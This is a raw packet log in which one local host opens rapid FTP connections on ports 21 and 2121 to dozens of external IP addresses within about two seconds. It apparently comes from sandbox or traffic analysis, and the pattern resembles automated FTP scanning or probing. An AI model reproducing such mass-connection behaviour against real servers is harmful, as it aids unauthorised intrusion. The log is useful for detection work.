Aug 23, 2023 09:16:32.857316017 CEST	21	52232	46.251.235.80	192.168.2.3
Aug 23, 2023 09:16:32.857729912 CEST	52232	21	192.168.2.3	46.251.235.80
Aug 23, 2023 09:16:32.862035036 CEST	21	52188	41.85.20.17	192.168.2.3
Aug 23, 2023 09:16:32.863147974 CEST	21	52234	41.85.20.17	192.168.2.3
Aug 23, 2023 09:16:32.863234043 CEST	52234	21	192.168.2.3	41.85.20.17
Aug 23, 2023 09:16:32.870727062 CEST	2121	52233	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:32.871107101 CEST	52233	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:32.873928070 CEST	21	52232	46.251.235.80	192.168.2.3
Aug 23, 2023 09:16:32.873971939 CEST	21	52232	46.251.235.80	192.168.2.3
Aug 23, 2023 09:16:32.874007940 CEST	21	52232	46.251.235.80	192.168.2.3
Aug 23, 2023 09:16:32.874109983 CEST	52232	21	192.168.2.3	46.251.235.80
Aug 23, 2023 09:16:32.874214888 CEST	52232	21	192.168.2.3	46.251.235.80
Aug 23, 2023 09:16:32.874984980 CEST	52236	21	192.168.2.3	46.251.235.80
Aug 23, 2023 09:16:32.890346050 CEST	21	52232	46.251.235.80	192.168.2.3
Aug 23, 2023 09:16:32.891211987 CEST	21	52236	46.251.235.80	192.168.2.3
Aug 23, 2023 09:16:32.891302109 CEST	52236	21	192.168.2.3	46.251.235.80
Aug 23, 2023 09:16:32.901345968 CEST	2121	52233	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:32.902739048 CEST	2121	52233	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:32.902997971 CEST	52233	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:32.935872078 CEST	2121	52233	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:32.936162949 CEST	52233	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:32.967298031 CEST	2121	52233	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:32.967508078 CEST	52233	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:32.968610048 CEST	52237	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:32.969783068 CEST	2121	52233	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:32.969842911 CEST	52233	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:32.990484953 CEST	52169	2121	192.168.2.3	189.225.175.160
Aug 23, 2023 09:16:32.990633965 CEST	52168	21	192.168.2.3	189.225.175.160
Aug 23, 2023 09:16:32.994019985 CEST	21	52235	218.44.250.29	192.168.2.3
Aug 23, 2023 09:16:32.997433901 CEST	2121	52233	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:32.997462034 CEST	2121	52237	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:32.997539997 CEST	52237	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:32.999587059 CEST	2121	52212	59.26.118.63	192.168.2.3
Aug 23, 2023 09:16:33.083625078 CEST	21	52234	41.85.20.17	192.168.2.3
Aug 23, 2023 09:16:33.083941936 CEST	52234	21	192.168.2.3	41.85.20.17
Aug 23, 2023 09:16:33.090611935 CEST	21	52236	46.251.235.80	192.168.2.3
Aug 23, 2023 09:16:33.090969086 CEST	52236	21	192.168.2.3	46.251.235.80
Aug 23, 2023 09:16:33.099910021 CEST	52207	2121	192.168.2.3	49.160.144.137
Aug 23, 2023 09:16:33.107353926 CEST	21	52236	46.251.235.80	192.168.2.3
Aug 23, 2023 09:16:33.107641935 CEST	21	52236	46.251.235.80	192.168.2.3
Aug 23, 2023 09:16:33.108700991 CEST	52236	21	192.168.2.3	46.251.235.80
Aug 23, 2023 09:16:33.125135899 CEST	21	52236	46.251.235.80	192.168.2.3
Aug 23, 2023 09:16:33.189855099 CEST	21	52236	46.251.235.80	192.168.2.3
Aug 23, 2023 09:16:33.192759037 CEST	52236	21	192.168.2.3	46.251.235.80
Aug 23, 2023 09:16:33.208393097 CEST	2121	52237	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:33.209321976 CEST	21	52236	46.251.235.80	192.168.2.3
Aug 23, 2023 09:16:33.209372997 CEST	21	52236	46.251.235.80	192.168.2.3
Aug 23, 2023 09:16:33.209409952 CEST	21	52236	46.251.235.80	192.168.2.3
Aug 23, 2023 09:16:33.209700108 CEST	52236	21	192.168.2.3	46.251.235.80
Aug 23, 2023 09:16:33.209968090 CEST	52237	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:33.210032940 CEST	52236	21	192.168.2.3	46.251.235.80
Aug 23, 2023 09:16:33.210186958 CEST	52238	21	192.168.2.3	46.251.235.80
Aug 23, 2023 09:16:33.224917889 CEST	52209	21	192.168.2.3	59.26.118.63
Aug 23, 2023 09:16:33.225209951 CEST	52219	21	192.168.2.3	178.54.121.243
Aug 23, 2023 09:16:33.226404905 CEST	21	52236	46.251.235.80	192.168.2.3
Aug 23, 2023 09:16:33.226454020 CEST	21	52238	46.251.235.80	192.168.2.3
Aug 23, 2023 09:16:33.226839066 CEST	52238	21	192.168.2.3	46.251.235.80
Aug 23, 2023 09:16:33.238770008 CEST	2121	52237	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:33.240573883 CEST	52177	2121	192.168.2.3	134.215.24.20
Aug 23, 2023 09:16:33.240643978 CEST	2121	52237	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:33.241163969 CEST	52237	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:33.241415024 CEST	21	52231	45.136.233.16	192.168.2.3
Aug 23, 2023 09:16:33.241885900 CEST	52231	21	192.168.2.3	45.136.233.16
Aug 23, 2023 09:16:33.256119013 CEST	52176	21	192.168.2.3	134.215.24.20
Aug 23, 2023 09:16:33.256165981 CEST	52220	2121	192.168.2.3	178.54.121.243
Aug 23, 2023 09:16:33.272583008 CEST	52178	21	192.168.2.3	149.28.161.67
Aug 23, 2023 09:16:33.273111105 CEST	2121	52237	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:33.275509119 CEST	52237	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:33.275582075 CEST	21	52219	178.54.121.243	192.168.2.3
Aug 23, 2023 09:16:33.276352882 CEST	52239	2121	192.168.2.3	218.44.250.29
Aug 23, 2023 09:16:33.298506975 CEST	21	52234	41.85.20.17	192.168.2.3
Aug 23, 2023 09:16:33.303087950 CEST	52179	2121	192.168.2.3	149.28.161.67
Aug 23, 2023 09:16:33.303369045 CEST	52181	21	192.168.2.3	135.134.187.202
Aug 23, 2023 09:16:33.305003881 CEST	2121	52237	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:33.305677891 CEST	52237	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:33.305686951 CEST	52240	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:33.305990934 CEST	2121	52237	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:33.306030989 CEST	2121	52220	178.54.121.243	192.168.2.3
Aug 23, 2023 09:16:33.306606054 CEST	52241	21	192.168.2.3	18.160.109.186
Aug 23, 2023 09:16:33.307504892 CEST	52237	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:33.326064110 CEST	52243	21	192.168.2.3	109.133.182.232
Aug 23, 2023 09:16:33.326370955 CEST	52242	2121	192.168.2.3	18.160.109.186
Aug 23, 2023 09:16:33.326378107 CEST	52244	2121	192.168.2.3	109.133.182.232
Aug 23, 2023 09:16:33.326459885 CEST	52245	21	192.168.2.3	90.224.64.139
Aug 23, 2023 09:16:33.326466084 CEST	52246	2121	192.168.2.3	90.224.64.139
Aug 23, 2023 09:16:33.326548100 CEST	52248	2121	192.168.2.3	143.176.145.243
Aug 23, 2023 09:16:33.326562881 CEST	52247	21	192.168.2.3	143.176.145.243
Aug 23, 2023 09:16:33.326646090 CEST	52251	21	192.168.2.3	126.23.237.89
Aug 23, 2023 09:16:33.326648951 CEST	52249	21	192.168.2.3	59.178.35.163
Aug 23, 2023 09:16:33.326684952 CEST	52250	2121	192.168.2.3	59.178.35.163
Aug 23, 2023 09:16:33.326699018 CEST	52252	2121	192.168.2.3	126.23.237.89
Aug 23, 2023 09:16:33.326875925 CEST	52253	21	192.168.2.3	87.13.255.189
Aug 23, 2023 09:16:33.335716963 CEST	2121	52237	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:33.339577913 CEST	2121	52240	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:33.340605974 CEST	52240	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:33.363687038 CEST	2121	52207	49.160.144.137	192.168.2.3
Aug 23, 2023 09:16:33.364504099 CEST	52254	2121	192.168.2.3	87.13.255.189
Aug 23, 2023 09:16:33.413824081 CEST	21	52231	45.136.233.16	192.168.2.3
Aug 23, 2023 09:16:33.415554047 CEST	21	52231	45.136.233.16	192.168.2.3
Aug 23, 2023 09:16:33.415879965 CEST	52231	21	192.168.2.3	45.136.233.16
Aug 23, 2023 09:16:33.435786009 CEST	21	52238	46.251.235.80	192.168.2.3
Aug 23, 2023 09:16:33.436973095 CEST	52238	21	192.168.2.3	46.251.235.80
Aug 23, 2023 09:16:33.453716040 CEST	21	52238	46.251.235.80	192.168.2.3
Aug 23, 2023 09:16:33.453784943 CEST	21	52238	46.251.235.80	192.168.2.3
Aug 23, 2023 09:16:33.454991102 CEST	52238	21	192.168.2.3	46.251.235.80
Aug 23, 2023 09:16:33.471637964 CEST	21	52238	46.251.235.80	192.168.2.3
Aug 23, 2023 09:16:33.483607054 CEST	21	52209	59.26.118.63	192.168.2.3
Aug 23, 2023 09:16:33.484530926 CEST	52255	21	192.168.2.3	23.239.20.253
Aug 23, 2023 09:16:33.506125927 CEST	52184	2121	192.168.2.3	135.134.187.202
Aug 23, 2023 09:16:33.506133080 CEST	52212	2121	192.168.2.3	59.26.118.63
Aug 23, 2023 09:16:33.507836103 CEST	52235	21	192.168.2.3	218.44.250.29
Aug 23, 2023 09:16:33.534173012 CEST	21	52249	59.178.35.163	192.168.2.3
Aug 23, 2023 09:16:33.534220934 CEST	2121	52250	59.178.35.163	192.168.2.3
Aug 23, 2023 09:16:33.535778046 CEST	52249	21	192.168.2.3	59.178.35.163
Aug 23, 2023 09:16:33.537347078 CEST	21	52238	46.251.235.80	192.168.2.3
Aug 23, 2023 09:16:33.540796041 CEST	52238	21	192.168.2.3	46.251.235.80
Aug 23, 2023 09:16:33.543668985 CEST	2121	52240	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:33.543917894 CEST	52240	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:33.555708885 CEST	52185	21	192.168.2.3	23.102.236.66
Aug 23, 2023 09:16:33.557291031 CEST	21	52238	46.251.235.80	192.168.2.3
Aug 23, 2023 09:16:33.557343006 CEST	21	52238	46.251.235.80	192.168.2.3
Aug 23, 2023 09:16:33.557773113 CEST	52238	21	192.168.2.3	46.251.235.80
Aug 23, 2023 09:16:33.559567928 CEST	52256	21	192.168.2.3	46.251.235.80
Aug 23, 2023 09:16:33.559581995 CEST	21	52238	46.251.235.80	192.168.2.3
Aug 23, 2023 09:16:33.563544035 CEST	52238	21	192.168.2.3	46.251.235.80
Aug 23, 2023 09:16:33.574126959 CEST	21	52238	46.251.235.80	192.168.2.3
Aug 23, 2023 09:16:33.575895071 CEST	2121	52240	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:33.575949907 CEST	21	52256	46.251.235.80	192.168.2.3
Aug 23, 2023 09:16:33.576118946 CEST	52256	21	192.168.2.3	46.251.235.80
Aug 23, 2023 09:16:33.577569962 CEST	2121	52240	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:33.577867985 CEST	52240	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:33.588624001 CEST	21	52231	45.136.233.16	192.168.2.3
Aug 23, 2023 09:16:33.592771053 CEST	52231	21	192.168.2.3	45.136.233.16
Aug 23, 2023 09:16:33.612596989 CEST	2121	52240	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:33.613612890 CEST	52240	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:33.613703012 CEST	2121	52239	218.44.250.29	192.168.2.3
Aug 23, 2023 09:16:33.617090940 CEST	21	52251	126.23.237.89	192.168.2.3
Aug 23, 2023 09:16:33.618158102 CEST	2121	52252	126.23.237.89	192.168.2.3
Aug 23, 2023 09:16:33.636027098 CEST	52258	2121	192.168.2.3	73.250.131.2
Aug 23, 2023 09:16:33.636035919 CEST	52257	2121	192.168.2.3	23.239.20.253
Aug 23, 2023 09:16:33.636116028 CEST	52259	21	192.168.2.3	73.250.131.2
Aug 23, 2023 09:16:33.636228085 CEST	52261	2121	192.168.2.3	1.105.79.15
Aug 23, 2023 09:16:33.636491060 CEST	52260	21	192.168.2.3	1.105.79.15
Aug 23, 2023 09:16:33.636514902 CEST	52262	21	192.168.2.3	89.182.123.68
Aug 23, 2023 09:16:33.647002935 CEST	2121	52240	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:33.647046089 CEST	2121	52240	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:33.647193909 CEST	52240	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:33.647528887 CEST	52240	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:33.649295092 CEST	52263	2121	192.168.2.3	89.182.123.68
Aug 23, 2023 09:16:33.650007963 CEST	52264	21	192.168.2.3	67.188.193.23
Aug 23, 2023 09:16:33.650012970 CEST	52265	2121	192.168.2.3	67.188.193.23
Aug 23, 2023 09:16:33.650126934 CEST	52266	21	192.168.2.3	91.150.169.247
Aug 23, 2023 09:16:33.650140047 CEST	52267	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:33.650219917 CEST	52268	2121	192.168.2.3	91.150.169.247
Aug 23, 2023 09:16:33.650240898 CEST	52269	21	192.168.2.3	51.187.36.177
Aug 23, 2023 09:16:33.650338888 CEST	52270	2121	192.168.2.3	51.187.36.177
Aug 23, 2023 09:16:33.679302931 CEST	2121	52240	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:33.679405928 CEST	52271	21	192.168.2.3	72.216.168.182
Aug 23, 2023 09:16:33.682024002 CEST	2121	52267	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:33.682337999 CEST	52267	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:33.710092068 CEST	52272	2121	192.168.2.3	72.216.168.182
Aug 23, 2023 09:16:33.710910082 CEST	52273	21	192.168.2.3	188.224.23.151
Aug 23, 2023 09:16:33.742063999 CEST	52274	2121	192.168.2.3	188.224.23.151
Aug 23, 2023 09:16:33.742063999 CEST	52275	21	192.168.2.3	41.143.99.98
Aug 23, 2023 09:16:33.764318943 CEST	2121	52212	59.26.118.63	192.168.2.3
Aug 23, 2023 09:16:33.764365911 CEST	21	52231	45.136.233.16	192.168.2.3
Aug 23, 2023 09:16:33.765969992 CEST	21	52231	45.136.233.16	192.168.2.3
Aug 23, 2023 09:16:33.765973091 CEST	52231	21	192.168.2.3	45.136.233.16
Aug 23, 2023 09:16:33.766379118 CEST	52231	21	192.168.2.3	45.136.233.16
Aug 23, 2023 09:16:33.768064976 CEST	52277	21	192.168.2.3	45.136.233.16
Aug 23, 2023 09:16:33.768240929 CEST	52276	2121	192.168.2.3	41.143.99.98
Aug 23, 2023 09:16:33.776997089 CEST	21	52249	59.178.35.163	192.168.2.3
Aug 23, 2023 09:16:33.777831078 CEST	52249	21	192.168.2.3	59.178.35.163
Aug 23, 2023 09:16:33.778887033 CEST	52278	21	192.168.2.3	121.147.24.120
Aug 23, 2023 09:16:33.795484066 CEST	21	52256	46.251.235.80	192.168.2.3
Aug 23, 2023 09:16:33.800152063 CEST	52256	21	192.168.2.3	46.251.235.80
Aug 23, 2023 09:16:33.816781044 CEST	21	52256	46.251.235.80	192.168.2.3
Aug 23, 2023 09:16:33.819123983 CEST	21	52256	46.251.235.80	192.168.2.3
Aug 23, 2023 09:16:33.819524050 CEST	52256	21	192.168.2.3	46.251.235.80
Aug 23, 2023 09:16:33.834650993 CEST	21	52235	218.44.250.29	192.168.2.3
Aug 23, 2023 09:16:33.836596966 CEST	21	52256	46.251.235.80	192.168.2.3
Aug 23, 2023 09:16:33.882286072 CEST	2121	52267	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:33.883142948 CEST	52267	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:33.895781994 CEST	21	52256	46.251.235.80	192.168.2.3
Aug 23, 2023 09:16:33.896354914 CEST	52256	21	192.168.2.3	46.251.235.80
Aug 23, 2023 09:16:33.912755013 CEST	21	52256	46.251.235.80	192.168.2.3
Aug 23, 2023 09:16:33.912795067 CEST	21	52256	46.251.235.80	192.168.2.3
Aug 23, 2023 09:16:33.912827969 CEST	21	52256	46.251.235.80	192.168.2.3
Aug 23, 2023 09:16:33.913243055 CEST	52256	21	192.168.2.3	46.251.235.80
Aug 23, 2023 09:16:33.913357019 CEST	52256	21	192.168.2.3	46.251.235.80
Aug 23, 2023 09:16:33.914334059 CEST	52279	2121	192.168.2.3	121.147.24.120
Aug 23, 2023 09:16:33.914669037 CEST	52280	21	192.168.2.3	41.225.167.42
Aug 23, 2023 09:16:33.914922953 CEST	2121	52267	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:33.914963007 CEST	52281	21	192.168.2.3	46.251.235.80
Aug 23, 2023 09:16:33.917023897 CEST	2121	52267	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:33.917726994 CEST	52267	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:33.928945065 CEST	52282	2121	192.168.2.3	41.225.167.42
Aug 23, 2023 09:16:33.929815054 CEST	21	52256	46.251.235.80	192.168.2.3
Aug 23, 2023 09:16:33.931583881 CEST	21	52281	46.251.235.80	192.168.2.3
Aug 23, 2023 09:16:33.932604074 CEST	52281	21	192.168.2.3	46.251.235.80
Aug 23, 2023 09:16:33.937763929 CEST	21	52231	45.136.233.16	192.168.2.3
Aug 23, 2023 09:16:33.939532042 CEST	21	52277	45.136.233.16	192.168.2.3
Aug 23, 2023 09:16:33.943595886 CEST	52277	21	192.168.2.3	45.136.233.16
Aug 23, 2023 09:16:33.944015980 CEST	52190	2121	192.168.2.3	23.102.236.66
Aug 23, 2023 09:16:33.952677965 CEST	2121	52267	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:33.954809904 CEST	52267	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:33.961771011 CEST	21	52249	59.178.35.163	192.168.2.3
Aug 23, 2023 09:16:33.961965084 CEST	52249	21	192.168.2.3	59.178.35.163
Aug 23, 2023 09:16:33.987399101 CEST	2121	52267	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:33.987870932 CEST	52267	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:33.987967014 CEST	2121	52267	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:33.988312006 CEST	52283	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:33.988526106 CEST	52267	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:33.991286039 CEST	52194	21	192.168.2.3	184.26.213.212
Aug 23, 2023 09:16:33.991288900 CEST	52284	21	192.168.2.3	24.198.79.93
Aug 23, 2023 09:16:34.013027906 CEST	21	52280	41.225.167.42	192.168.2.3
Aug 23, 2023 09:16:34.016731024 CEST	52280	21	192.168.2.3	41.225.167.42
Aug 23, 2023 09:16:34.019490004 CEST	2121	52283	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:34.019658089 CEST	2121	52267	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:34.019798040 CEST	52283	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:34.024529934 CEST	52285	2121	192.168.2.3	24.198.79.93
Aug 23, 2023 09:16:34.039022923 CEST	52250	2121	192.168.2.3	59.178.35.163
Aug 23, 2023 09:16:34.075511932 CEST	52195	2121	192.168.2.3	184.26.213.212
Aug 23, 2023 09:16:34.094084024 CEST	21	52189	181.215.134.20	192.168.2.3
Aug 23, 2023 09:16:34.094584942 CEST	52189	21	192.168.2.3	181.215.134.20
Aug 23, 2023 09:16:34.115592003 CEST	52239	2121	192.168.2.3	218.44.250.29
Aug 23, 2023 09:16:34.131222963 CEST	52251	21	192.168.2.3	126.23.237.89
Aug 23, 2023 09:16:34.131234884 CEST	52252	2121	192.168.2.3	126.23.237.89
Aug 23, 2023 09:16:34.133402109 CEST	21	52280	41.225.167.42	192.168.2.3
Aug 23, 2023 09:16:34.133558989 CEST	52280	21	192.168.2.3	41.225.167.42
Aug 23, 2023 09:16:34.133687019 CEST	52280	21	192.168.2.3	41.225.167.42
Aug 23, 2023 09:16:34.133791924 CEST	52280	21	192.168.2.3	41.225.167.42
Aug 23, 2023 09:16:34.134283066 CEST	52286	21	192.168.2.3	37.186.115.128
Aug 23, 2023 09:16:34.151082993 CEST	21	52281	46.251.235.80	192.168.2.3
Aug 23, 2023 09:16:34.151361942 CEST	52281	21	192.168.2.3	46.251.235.80
Aug 23, 2023 09:16:34.167732954 CEST	21	52281	46.251.235.80	192.168.2.3
Aug 23, 2023 09:16:34.169234991 CEST	21	52281	46.251.235.80	192.168.2.3
Aug 23, 2023 09:16:34.169531107 CEST	52281	21	192.168.2.3	46.251.235.80
Aug 23, 2023 09:16:34.179490089 CEST	21	52277	45.136.233.16	192.168.2.3
Aug 23, 2023 09:16:34.179791927 CEST	52277	21	192.168.2.3	45.136.233.16
Aug 23, 2023 09:16:34.186765909 CEST	21	52281	46.251.235.80	192.168.2.3
Aug 23, 2023 09:16:34.214355946 CEST	21	52286	37.186.115.128	192.168.2.3
Aug 23, 2023 09:16:34.214391947 CEST	2121	52250	59.178.35.163	192.168.2.3
Aug 23, 2023 09:16:34.223594904 CEST	2121	52283	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:34.224024057 CEST	52283	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:34.225438118 CEST	52287	2121	192.168.2.3	37.186.115.128
Aug 23, 2023 09:16:34.230866909 CEST	21	52280	41.225.167.42	192.168.2.3
Aug 23, 2023 09:16:34.233340025 CEST	21	52280	41.225.167.42	192.168.2.3
Aug 23, 2023 09:16:34.247968912 CEST	21	52281	46.251.235.80	192.168.2.3
Aug 23, 2023 09:16:34.248224974 CEST	52281	21	192.168.2.3	46.251.235.80
Aug 23, 2023 09:16:34.255332947 CEST	2121	52283	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:34.256799936 CEST	2121	52283	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:34.257116079 CEST	52283	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:34.264405966 CEST	21	52281	46.251.235.80	192.168.2.3
Aug 23, 2023 09:16:34.264501095 CEST	21	52281	46.251.235.80	192.168.2.3
Aug 23, 2023 09:16:34.264538050 CEST	21	52281	46.251.235.80	192.168.2.3
Aug 23, 2023 09:16:34.264605999 CEST	52281	21	192.168.2.3	46.251.235.80
Aug 23, 2023 09:16:34.264760017 CEST	52281	21	192.168.2.3	46.251.235.80
Aug 23, 2023 09:16:34.265350103 CEST	52288	21	192.168.2.3	46.251.235.80
Aug 23, 2023 09:16:34.280920029 CEST	21	52281	46.251.235.80	192.168.2.3
Aug 23, 2023 09:16:34.281485081 CEST	21	52288	46.251.235.80	192.168.2.3
Aug 23, 2023 09:16:34.281570911 CEST	52288	21	192.168.2.3	46.251.235.80
Aug 23, 2023 09:16:34.287477016 CEST	52200	21	192.168.2.3	71.191.197.69
Aug 23, 2023 09:16:34.287492037 CEST	52199	2121	192.168.2.3	190.64.144.252
Aug 23, 2023 09:16:34.290242910 CEST	2121	52283	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:34.290537119 CEST	52283	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:34.298310995 CEST	21	52234	41.85.20.17	192.168.2.3
Aug 23, 2023 09:16:34.298644066 CEST	52234	21	192.168.2.3	41.85.20.17
Aug 23, 2023 09:16:34.303725958 CEST	52289	21	192.168.2.3	69.110.154.125
Aug 23, 2023 09:16:34.321799994 CEST	2121	52283	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:34.322323084 CEST	2121	52283	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:34.322330952 CEST	52283	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:34.322381973 CEST	52283	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:34.322897911 CEST	21	52189	181.215.134.20	192.168.2.3
Aug 23, 2023 09:16:34.322933912 CEST	21	52189	181.215.134.20	192.168.2.3
Aug 23, 2023 09:16:34.323025942 CEST	52290	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:34.323035002 CEST	21	52189	181.215.134.20	192.168.2.3
Aug 23, 2023 09:16:34.323098898 CEST	52189	21	192.168.2.3	181.215.134.20
Aug 23, 2023 09:16:34.323153019 CEST	52189	21	192.168.2.3	181.215.134.20
Aug 23, 2023 09:16:34.323738098 CEST	52291	21	192.168.2.3	181.215.134.20
Aug 23, 2023 09:16:34.335000038 CEST	52292	2121	192.168.2.3	69.110.154.125
Aug 23, 2023 09:16:34.349952936 CEST	52235	21	192.168.2.3	218.44.250.29
Aug 23, 2023 09:16:34.350996971 CEST	21	52277	45.136.233.16	192.168.2.3
Aug 23, 2023 09:16:34.351907969 CEST	2121	52290	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:34.351989985 CEST	52290	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:34.352574110 CEST	21	52277	45.136.233.16	192.168.2.3
Aug 23, 2023 09:16:34.352650881 CEST	2121	52283	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:34.352847099 CEST	52277	21	192.168.2.3	45.136.233.16
Aug 23, 2023 09:16:34.421896935 CEST	21	52251	126.23.237.89	192.168.2.3
Aug 23, 2023 09:16:34.422911882 CEST	2121	52252	126.23.237.89	192.168.2.3
Aug 23, 2023 09:16:34.455611944 CEST	2121	52239	218.44.250.29	192.168.2.3
Aug 23, 2023 09:16:34.459368944 CEST	52202	2121	192.168.2.3	71.191.197.69
Aug 23, 2023 09:16:34.459391117 CEST	52203	21	192.168.2.3	185.167.33.174
Aug 23, 2023 09:16:34.481307030 CEST	21	52288	46.251.235.80	192.168.2.3
Aug 23, 2023 09:16:34.481678963 CEST	52288	21	192.168.2.3	46.251.235.80
Aug 23, 2023 09:16:34.483763933 CEST	21	52289	69.110.154.125	192.168.2.3
Aug 23, 2023 09:16:34.497921944 CEST	21	52288	46.251.235.80	192.168.2.3
Aug 23, 2023 09:16:34.498384953 CEST	21	52288	46.251.235.80	192.168.2.3
Aug 23, 2023 09:16:34.498662949 CEST	52288	21	192.168.2.3	46.251.235.80
Aug 23, 2023 09:16:34.512245893 CEST	21	52234	41.85.20.17	192.168.2.3
Aug 23, 2023 09:16:34.514878988 CEST	21	52288	46.251.235.80	192.168.2.3
Aug 23, 2023 09:16:34.517252922 CEST	2121	52292	69.110.154.125	192.168.2.3
Aug 23, 2023 09:16:34.521850109 CEST	52206	21	192.168.2.3	49.160.144.137
Aug 23, 2023 09:16:34.524862051 CEST	21	52277	45.136.233.16	192.168.2.3
Aug 23, 2023 09:16:34.525191069 CEST	52277	21	192.168.2.3	45.136.233.16
Aug 23, 2023 09:16:34.551384926 CEST	21	52189	181.215.134.20	192.168.2.3
Aug 23, 2023 09:16:34.552563906 CEST	21	52291	181.215.134.20	192.168.2.3
Aug 23, 2023 09:16:34.552654982 CEST	52291	21	192.168.2.3	181.215.134.20
Aug 23, 2023 09:16:34.559709072 CEST	2121	52290	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:34.560080051 CEST	52290	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:34.588875055 CEST	2121	52290	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:34.589911938 CEST	2121	52290	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:34.590282917 CEST	52290	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:34.595213890 CEST	21	52288	46.251.235.80	192.168.2.3
Aug 23, 2023 09:16:34.595531940 CEST	52288	21	192.168.2.3	46.251.235.80
Aug 23, 2023 09:16:34.611778021 CEST	21	52288	46.251.235.80	192.168.2.3
Aug 23, 2023 09:16:34.611803055 CEST	21	52288	46.251.235.80	192.168.2.3
Aug 23, 2023 09:16:34.611824036 CEST	21	52288	46.251.235.80	192.168.2.3
Aug 23, 2023 09:16:34.611891985 CEST	52288	21	192.168.2.3	46.251.235.80
Aug 23, 2023 09:16:34.612032890 CEST	52288	21	192.168.2.3	46.251.235.80
Aug 23, 2023 09:16:34.612771988 CEST	52293	21	192.168.2.3	46.251.235.80
Aug 23, 2023 09:16:34.621831894 CEST	2121	52290	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:34.622143984 CEST	52290	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:34.629117966 CEST	21	52293	46.251.235.80	192.168.2.3
Aug 23, 2023 09:16:34.629198074 CEST	52293	21	192.168.2.3	46.251.235.80
Aug 23, 2023 09:16:34.651604891 CEST	2121	52290	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:34.651830912 CEST	52290	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:34.652231932 CEST	2121	52290	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:34.652295113 CEST	52290	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:34.652600050 CEST	52294	2121	192.168.2.3	95.85.215.156
